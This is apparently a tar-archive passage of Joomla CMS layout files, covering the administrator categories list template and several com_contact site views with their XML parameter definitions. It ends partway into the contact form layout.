                                $canEditOwn = $user->authorise('core.edit.own', $extension . '.category.' . $item->id) && $item->created_user_id == $userId;
                                $canChange  = $user->authorise('core.edit.state', $extension . '.category.' . $item->id) && $canCheckin;

                                // Get the parents of item for sorting
                                if ($item->level > 1) {
                                    $parentsStr = '';
                                    $_currentParentId = $item->parent_id;
                                    $parentsStr = ' ' . $_currentParentId;
                                    for ($i2 = 0; $i2 < $item->level; $i2++) {
                                        foreach ($this->ordering as $k => $v) {
                                            $v = implode('-', $v);
                                            $v = '-' . $v . '-';
                                            if (strpos($v, '-' . $_currentParentId . '-') !== false) {
                                                $parentsStr .= ' ' . $k;
                                                $_currentParentId = $k;
                                                break;
                                            }
                                        }
                                    }
                                } else {
                                    $parentsStr = '';
                                }
                                ?>
                                <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->parent_id; ?>"
                                    data-item-id="<?php echo $item->id ?>" data-parents="<?php echo $parentsStr ?>"
                                    data-level="<?php echo $item->level ?>">
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                    </td>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php
                                        $iconClass = '';
                                        if (!$canChange) {
                                            $iconClass = ' inactive';
                                        } elseif (!$saveOrder) {
                                            $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                        }
                                        ?>
                                        <span class="sortable-handler<?php echo $iconClass ?>">
                                            <span class="icon-ellipsis-v"></span>
                                        </span>
                                        <?php if ($canChange && $saveOrder) : ?>
                                            <input type="text" class="hidden" name="order[]" size="5" value="<?php echo $item->lft; ?>">
                                        <?php endif; ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'categories.', $canChange); ?>
                                    </td>
                                    <th scope="row">
                                        <?php $prefix = LayoutHelper::render('joomla.html.treeprefix', ['level' => $item->level]); ?>
                                        <?php echo $prefix; ?>
                                        <?php if ($item->checked_out) : ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'categories.', $canCheckin); ?>
                                        <?php endif; ?>
                                        <?php if ($canEdit || $canEditOwn) : ?>
                                            <a href="<?php echo Route::_('index.php?option=com_categories&task=category.edit&id=' . $item->id . '&extension=' . $extension); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                                <?php echo $this->escape($item->title); ?></a>
                                        <?php else : ?>
                                            <?php echo $this->escape($item->title); ?>
                                        <?php endif; ?>
                                        <div>
                                        <?php echo $prefix; ?>
                                            <span class="small">
                                                <?php if (empty($item->note)) : ?>
                                                    <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                                <?php else : ?>
                                                    <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
                                                <?php endif; ?>
                                            </span>
                                        </div>
                                    </th>
                                    <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
                                        <td class="text-center btns d-none d-md-table-cell itemnumber">
                                            <a class="btn <?php echo ($item->count_published > 0) ? 'btn-success' : 'btn-secondary'; ?>"
                                                href="<?php echo Route::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=1&filter[level]=1'); ?>"
                                                aria-describedby="tip-publish<?php echo $i; ?>">
                                                <?php echo $item->count_published; ?>
                                            </a>
                                            <div role="tooltip" id="tip-publish<?php echo $i; ?>">
                                                <?php echo Text::_('COM_CATEGORY_COUNT_PUBLISHED_ITEMS'); ?>
                                            </div>
                                        </td>
                                    <?php endif; ?>
                                    <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
                                        <td class="text-center btns d-none d-md-table-cell itemnumber">
                                            <a class="btn <?php echo ($item->count_unpublished > 0) ? 'btn-danger' : 'btn-secondary'; ?>"
                                                href="<?php echo Route::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=0&filter[level]=1'); ?>"
                                                aria-describedby="tip-unpublish<?php echo $i; ?>">
                                                <?php echo $item->count_unpublished; ?>
                                            </a>
                                            <div role="tooltip" id="tip-unpublish<?php echo $i; ?>">
                                                <?php echo Text::_('COM_CATEGORY_COUNT_UNPUBLISHED_ITEMS'); ?>
                                            </div>
                                        </td>
                                    <?php endif; ?>
                                    <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
                                        <td class="text-center btns d-none d-md-table-cell itemnumber">
                                            <a class="btn <?php echo ($item->count_archived > 0) ? 'btn-info' : 'btn-secondary'; ?>"
                                                href="<?php echo Route::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=2&filter[level]=1'); ?>"
                                                aria-describedby="tip-archive<?php echo $i; ?>">
                                                <?php echo $item->count_archived; ?>
                                            </a>
                                            <div role="tooltip" id="tip-archive<?php echo $i; ?>">
                                                <?php echo Text::_('COM_CATEGORY_COUNT_ARCHIVED_ITEMS'); ?>
                                            </div>
                                        </td>
                                    <?php endif; ?>
                                    <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
                                        <td class="text-center btns d-none d-md-table-cell itemnumber">
                                            <a class="btn <?php echo ($item->count_trashed > 0) ? 'btn-dark' : 'btn-secondary'; ?>"
                                                href="<?php echo Route::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=-2&filter[level]=1'); ?>"
                                                aria-describedby="tip-trash<?php echo $i; ?>">
                                                <?php echo $item->count_trashed; ?>
                                            </a>
                                            <div role="tooltip" id="tip-trash<?php echo $i; ?>">
                                                <?php echo Text::_('COM_CATEGORY_COUNT_TRASHED_ITEMS'); ?>
                                            </div>
                                        </td>
                                    <?php endif; ?>

                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $this->escape($item->access_level); ?>
                                    </td>
                                    <?php if ($this->assoc) : ?>
                                        <td class="d-none d-md-table-cell">
                                            <?php if ($item->association) : ?>
                                                <?php echo HTMLHelper::_('categoriesadministrator.association', $item->id, $extension); ?>
                                            <?php endif; ?>
                                        </td>
                                    <?php endif; ?>
                                    <?php if (Multilanguage::isEnabled()) : ?>
                                        <td class="small d-none d-md-table-cell">
                                            <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                        </td>
                                    <?php endif; ?>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo (int) $item->id; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php
                    if (
                        $user->authorise('core.create', $extension)
                        && $user->authorise('core.edit', $extension)
                        && $user->authorise('core.edit.state', $extension)
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                'title'  => Text::_('COM_CATEGORIES_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer'),
                            ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>

                <input type="hidden" name="extension" value="<?php echo $extension; ?>">
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
categories/default.xml000064400000001104151726042000011030 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CATEGORIES_CATEGORIES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CATEGORIES_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request">
			<field
				name="extension"
				type="ComponentsCategory"
				label="COM_CATEGORIES_CHOOSE_COMPONENT_LABEL"
				required="true"
				addfieldprefix="Joomla\Component\Categories\Administrator\Field"
				>
				<option value="">COM_MENUS_OPTION_SELECT_COMPONENT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
contact/default_user_custom_fields.php000064400000003173151726042000014313 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Language\Text;

$params             = $this->item->params;

$displayGroups      = $params->get('show_user_custom_fields');
$userFieldGroups    = [];
?>

<?php if (!$displayGroups || !$this->contactUser) : ?>
    <?php return; ?>
<?php endif; ?>

<?php foreach ($this->contactUser->jcfields as $field) : ?>
    <?php if ($field->value && (in_array('-1', $displayGroups) || in_array($field->group_id, $displayGroups))) : ?>
        <?php $userFieldGroups[$field->group_title][] = $field; ?>
    <?php endif; ?>
<?php endforeach; ?>

<?php foreach ($userFieldGroups as $groupTitle => $fields) : ?>
    <?php $id = ApplicationHelper::stringURLSafe($groupTitle); ?>
    <?php echo '<h3>' . ($groupTitle ?: Text::_('COM_CONTACT_USER_FIELDS')) . '</h3>'; ?>

    <div class="com-contact__user-fields contact-profile" id="user-custom-fields-<?php echo $id; ?>">
        <dl class="dl-horizontal">
        <?php foreach ($fields as $field) : ?>
            <?php if (!$field->value) : ?>
                <?php continue; ?>
            <?php endif; ?>

            <?php if ($field->params->get('showlabel')) : ?>
                <?php echo '<dt>' . Text::_($field->label) . '</dt>'; ?>
            <?php endif; ?>

            <?php echo '<dd>' . $field->value . '</dd>'; ?>
        <?php endforeach; ?>
        </dl>
    </div>
<?php endforeach; ?>
contact/default_links.php000064400000002251151726042000011531 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<?php echo '<h3>' . Text::_('COM_CONTACT_LINKS') . '</h3>'; ?>

<div class="com-contact__links contact-links">
    <ul class="list-unstyled">
        <?php
        // Letters 'a' to 'e'
        foreach (range('a', 'e') as $char) :
            $link = $this->item->params->get('link' . $char);
            $label = $this->item->params->get('link' . $char . '_name');

            if (!$link) :
                continue;
            endif;

            // Add 'http://' if not present
            $link = (0 === strpos($link, 'http')) ? $link : 'http://' . $link;

            // If no label is present, take the link
            $label = $label ?: $link;
            ?>
            <li>
                <a href="<?php echo $link; ?>" itemprop="url" rel="noopener noreferrer">
                    <?php echo $label; ?>
                </a>
            </li>
        <?php endforeach; ?>
    </ul>
</div>
contact/default_profile.php000064400000003663151726042000012061 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\String\PunycodeHelper;

?>
<?php if (PluginHelper::isEnabled('user', 'profile')) :
    $fields = $this->item->profile->getFieldset('profile'); ?>
    <div class="com-contact__profile contact-profile" id="users-profile-custom">
        <dl class="dl-horizontal">
            <?php foreach ($fields as $profile) :
                if ($profile->value) :
                    echo '<dt>' . $profile->label . '</dt>';
                    $profile->text = htmlspecialchars($profile->value, ENT_COMPAT, 'UTF-8');

                    switch ($profile->id) :
                        case 'profile_website':
                            $v_http = substr($profile->value, 0, 4);

                            if ($v_http === 'http') :
                                echo '<dd><a href="' . $profile->text . '">' . $this->escape(PunycodeHelper::urlToUTF8($profile->text)) . '</a></dd>';
                            else :
                                echo '<dd><a href="http://' . $profile->text . '">' . $this->escape(PunycodeHelper::urlToUTF8($profile->text)) . '</a></dd>';
                            endif;
                            break;

                        case 'profile_dob':
                            echo '<dd>' . HTMLHelper::_('date', $profile->text, Text::_('DATE_FORMAT_LC4'), false) . '</dd>';
                            break;

                        default:
                            echo '<dd>' . $profile->text . '</dd>';
                            break;
                    endswitch;
                endif;
            endforeach; ?>
        </dl>
    </div>
<?php endif; ?>
contact/default.xml000064400000025037151726042000010351 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Single_Contact"
		/>
		<message>
			<![CDATA[COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Contact\Administrator\Field"
		>
			<field
				name="id"
				type="modal_contact"
				label="COM_CONTACT_SELECT_CONTACT_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="params"
			label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
			>

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="add_mailto_link"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_profile"
				type="list"
				label="COM_CONTACT_FIELD_PROFILE_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_user_custom_fields"
				type="fieldgroups"
				label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
				multiple="true"
				context="com_users.user"
				addfieldprefix="Joomla\Component\Fields\Administrator\Field"
				layout="joomla.form.field.list-fancy-select"
				>
				<option value="-1">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				useglobal="true"
			/>
		</fieldset>

		<!-- Form options. -->
		<fieldset
			name="Contact_Form"
			label="COM_CONTACT_MAIL_FIELDSET_LABEL"
			>

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				useglobal="true"
			/>
		</fieldset>
	</fields>
</metadata>
contact/default.php000064400000016667151726042000010351 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

$tparams = $this->item->params;
$canDo   = ContentHelper::getActions('com_contact', 'category', $this->item->catid);
$canEdit = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by === Factory::getUser()->id);
$htag    = $tparams->get('show_page_heading') ? 'h2' : 'h1';
?>

<div class="com-contact contact" itemscope itemtype="https://schema.org/Person">
    <?php if ($tparams->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($tparams->get('page_heading')); ?>
        </h1>
    <?php endif; ?>

    <?php if ($this->item->name && $tparams->get('show_name')) : ?>
        <div class="page-header">
            <<?php echo $htag; ?>>
                <?php if ($this->item->published == 0) : ?>
                    <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
                <?php endif; ?>
                <span class="contact-name" itemprop="name"><?php echo $this->item->name; ?></span>
            </<?php echo $htag; ?>>
        </div>
    <?php endif; ?>

    <?php if ($canEdit) : ?>
        <div class="icons">
            <div class="float-end">
                <div>
                    <?php echo HTMLHelper::_('contacticon.edit', $this->item, $tparams); ?>
                </div>
            </div>
        </div>
    <?php endif; ?>

    <?php $show_contact_category = $tparams->get('show_contact_category'); ?>

    <?php if ($show_contact_category === 'show_no_link') : ?>
        <h3>
            <span class="contact-category"><?php echo $this->item->category_title; ?></span>
        </h3>
    <?php elseif ($show_contact_category === 'show_with_link') : ?>
        <?php $contactLink = RouteHelper::getCategoryRoute($this->item->catid, $this->item->language); ?>
        <h3>
            <span class="contact-category"><a href="<?php echo $contactLink; ?>">
                <?php echo $this->escape($this->item->category_title); ?></a>
            </span>
        </h3>
    <?php endif; ?>

    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php if ($tparams->get('show_contact_list') && count($this->contacts) > 1) : ?>
        <form action="#" method="get" name="selectForm" id="selectForm">
            <label for="select_contact"><?php echo Text::_('COM_CONTACT_SELECT_CONTACT'); ?></label>
            <?php echo HTMLHelper::_(
                'select.genericlist',
                $this->contacts,
                'select_contact',
                'class="form-select" onchange="document.location.href = this.value"',
                'link',
                'name',
                $this->item->link
            );
            ?>
        </form>
    <?php endif; ?>

    <?php if ($tparams->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <div class="com-contact__tags">
            <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
            <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
        </div>
    <?php endif; ?>

    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php if ($this->params->get('show_info', 1)) : ?>
        <div class="com-contact__container">
            <?php echo '<h3>' . Text::_('COM_CONTACT_DETAILS') . '</h3>'; ?>

            <?php if ($this->item->image && $tparams->get('show_image')) : ?>
                <div class="com-contact__thumbnail thumbnail">
                    <?php echo LayoutHelper::render(
                        'joomla.html.image',
                        [
                            'src'      => $this->item->image,
                            'alt'      => $this->item->name,
                            'itemprop' => 'image',
                        ]
                    ); ?>
                </div>
            <?php endif; ?>

            <?php if ($this->item->con_position && $tparams->get('show_position')) : ?>
                <dl class="com-contact__position contact-position dl-horizontal">
                    <dt><?php echo Text::_('COM_CONTACT_POSITION'); ?>:</dt>
                    <dd itemprop="jobTitle">
                        <?php echo $this->item->con_position; ?>
                    </dd>
                </dl>
            <?php endif; ?>

            <div class="com-contact__info">
                <?php echo $this->loadTemplate('address'); ?>

                <?php if ($tparams->get('allow_vcard')) : ?>
                    <?php echo Text::_('COM_CONTACT_DOWNLOAD_INFORMATION_AS'); ?>
                    <a href="<?php echo Route::_('index.php?option=com_contact&view=contact&catid=' . $this->item->catslug . '&id=' . $this->item->slug . '&format=vcf'); ?>">
                    <?php echo Text::_('COM_CONTACT_VCARD'); ?></a>
                <?php endif; ?>
            </div>
        </div>

    <?php endif; ?>

    <?php if ($tparams->get('show_email_form') && ($this->item->email_to || $this->item->user_id)) : ?>
        <?php echo '<h3>' . Text::_('COM_CONTACT_EMAIL_FORM') . '</h3>'; ?>

        <?php echo $this->loadTemplate('form'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_links')) : ?>
        <?php echo $this->loadTemplate('links'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_articles') && $this->item->user_id && $this->item->articles) : ?>
        <?php echo '<h3>' . Text::_('JGLOBAL_ARTICLES') . '</h3>'; ?>

        <?php echo $this->loadTemplate('articles'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_profile') && $this->item->user_id && PluginHelper::isEnabled('user', 'profile')) : ?>
        <?php echo '<h3>' . Text::_('COM_CONTACT_PROFILE') . '</h3>'; ?>

        <?php echo $this->loadTemplate('profile'); ?>
    <?php endif; ?>

    <?php if ($tparams->get('show_user_custom_fields') && $this->contactUser) : ?>
        <?php echo $this->loadTemplate('user_custom_fields'); ?>
    <?php endif; ?>

    <?php if ($this->item->misc && $tparams->get('show_misc')) : ?>
        <?php echo '<h3>' . Text::_('COM_CONTACT_OTHER_INFORMATION') . '</h3>'; ?>

        <div class="com-contact__miscinfo contact-miscinfo">
            <dl class="dl-horizontal">
                <dt>
                    <?php if (!$this->params->get('marker_misc')) : ?>
                        <span class="icon-info-circle" aria-hidden="true"></span>
                        <span class="visually-hidden"><?php echo Text::_('COM_CONTACT_OTHER_INFORMATION'); ?></span>
                    <?php else : ?>
                        <span class="<?php echo $this->params->get('marker_class'); ?>">
                            <?php echo $this->params->get('marker_misc'); ?>
                        </span>
                    <?php endif; ?>
                </dt>
                <dd>
                    <span class="contact-misc">
                        <?php echo $this->item->misc; ?>
                    </span>
                </dd>
            </dl>
        </div>
    <?php endif; ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
contact/default_articles.php000064400000001552151726042000012222 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

?>
<?php if ($this->params->get('show_articles')) : ?>
<div class="com-contact__articles contact-articles">
    <ul class="list-unstyled">
        <?php foreach ($this->item->articles as $article) : ?>
            <li>
                <?php echo HTMLHelper::_('link', Route::_(RouteHelper::getArticleRoute($article->slug, $article->catid, $article->language)), htmlspecialchars($article->title, ENT_COMPAT, 'UTF-8')); ?>
            </li>
        <?php endforeach; ?>
    </ul>
</div>
<?php endif; ?>
contact/default_form.php000064400000004373151726042000011363 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
